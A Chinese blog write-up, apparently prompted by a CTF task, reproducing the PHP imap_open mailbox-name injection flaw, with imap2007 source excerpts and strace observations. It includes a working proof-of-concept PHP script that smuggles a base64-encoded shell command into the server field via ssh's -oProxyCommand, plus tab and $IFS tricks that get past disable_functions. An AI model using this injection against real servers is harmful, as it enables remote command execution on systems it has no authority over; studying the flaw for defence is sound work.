这个漏洞是在做题的时候看到的,顺便复现一下,漏洞影响版本有ubuntu、debian、redhat和suse
简单介绍
这个漏洞因为imap_open函数在传递邮箱名给ssh之前没有正确过滤邮箱名,导致攻击者可以利用-oProxyCommand
参数向IMAP服务器发起命令执行恶意代码
复现
装环境
1 | apt updata && apt install -y nano php php-imap |
接着安装ssh和strace1
2apt install -y ssh
apt install -y strace
接着加一点安全配置,增加php的安全性1
2
3echo ‘; priority=99’ > /etc/php/7.0/mods-available/disablefns.ini
echo ‘disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source’ >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns
imap
顺便了解一下imap,imap其实就是一个管理电子邮件的东西,允许多个电子邮件客户端对电子邮件收件箱进行完全的管理
调用语法1
imap_open($mailbox, $username, $password [, $option = 0 [, $n_retries = 0 [, $params = []]]]);
如果要自定义连接的服务器使用的mailbox参数定义如下1
{[host]}:[port][flags]}[mailbox_name]
示例1
imap_open(“{mail.domain.com}:143/imap/notls}”, “user”, “passwd”)
rsh
rsh直到现在依旧使用,我们可以看一下下面这张图
漏洞细节
查看imap2007库的源码可以看到有个tcp_aopen
函数
/imap-2007f/src/osdep/unix/tcp_unix.c1
2
3
4TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
{
......
}
接着检查ssh和rsh路径的定义
/imap-2007f/src/osdep/unix/tcp_unix.c1
2
3
4
5
6
if (!sshpath) sshpath = cpystr (SSHPATH);
if (!rshpath) rshpath = cpystr (RSHPATH);
可以看到,如果sshpath没有被定义,那就会定义rshpath,接下来我们去找sshpath的定义
先看h文件的默认路径
/imap-2007f/src/osdep/unix/env_unix.h1
/imap-2007f/src/osdep/unix/env_unix.c1
2
3
4
5void dorc (char *file,long flag)
{
......
else if (!compare_cstring (s,"set ssh-path"))
mail_parameters (NIL,SET_SSHPATH,(void *) k);
可以看到默认情况下它是空的,但是我们也没有权限去修改,因为是etc文件,既然etc文件不可写,那我们可以考虑一下rshpath能不能改我们控制
/imap-2007f/src/osdep/unix/Makefile1
2slx: # Secure Linux
RSHPATH=/usr/bin/rsh \
最后是执行情况
/imap-2007f/src/osdep/unix/tcp_unix.c1
2
3
4
5
6
7
8
9
10
11
12if (*service == '*') { /* want ssh? */
/* return immediately if ssh disabled */
if (!(sshpath && (ti = sshtimeout))) return NIL;
/* ssh command prototype defined yet? */
if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
/* want rsh? */
else if (rshpath && (ti = rshtimeout)) {
/* rsh command prototype defined yet? */
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
else return NIL; /* rsh disabled */
可以看到他会生成一个在远程服务器上执行rimapd文件二进制的命令
尝试一下测试一下
test1.php1
imap_open('{localhost}:143/imap}INBOX', '', '');
然后利用strace工具去观察脚本的执行过程(这里肉鸡环境imap开不起来,只能借大佬的图一用了
通过execve过程可以看到localhost也作为了执行参数,因此尝试在操作服务器地址的同时加入命令行
在ssh文件中,有-o
这样的选项,通过这一个选项,我们就可以在命令行中加入任意指令了
具体利用方向如下1
2
3ubuntu: ssh -oProxyCommand=”echo hello|tee /tmp/executed” localhost
ubuntu: cat /tmp/executed
hello
这样子确实可以进行命令执行,但是写在服务器地址的时候,空格和斜杠都会被转义掉,因此要用$IFS和\t去绕过1
ssh -oProxyCommand=”echo hello|tee (\t这里是tab符) /tmp/executed” localhost
当然也可以利用base64编码,同样也是能进行命令执行的1
2
3
4先对命令行进行base64编码
ubuntu: echo “echo hello|tee /tmp/executed”|base64
得到编码后的命令ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=就能进行利用了
ubuntu: ssh -oProxyCommand=”echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|ba se64 -d|bash” localhost
完整调用过程
test2.php1
2
3
4$payload = “echo hello|tee /tmp/executed”;
$encoded_payload = ba se64_encode($payload);
$server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|ba se64\t-d|bash”;
@imap_open(‘{‘.$server.’}:143/imap}INBOX’, ‘’, ‘’);
将我们上面做的过程直接写进一个php文件观察他的调用过程
通过strace的追踪,我们最终发现我们注入的命令都是由系统库去执行的,这谁拦得住啊……..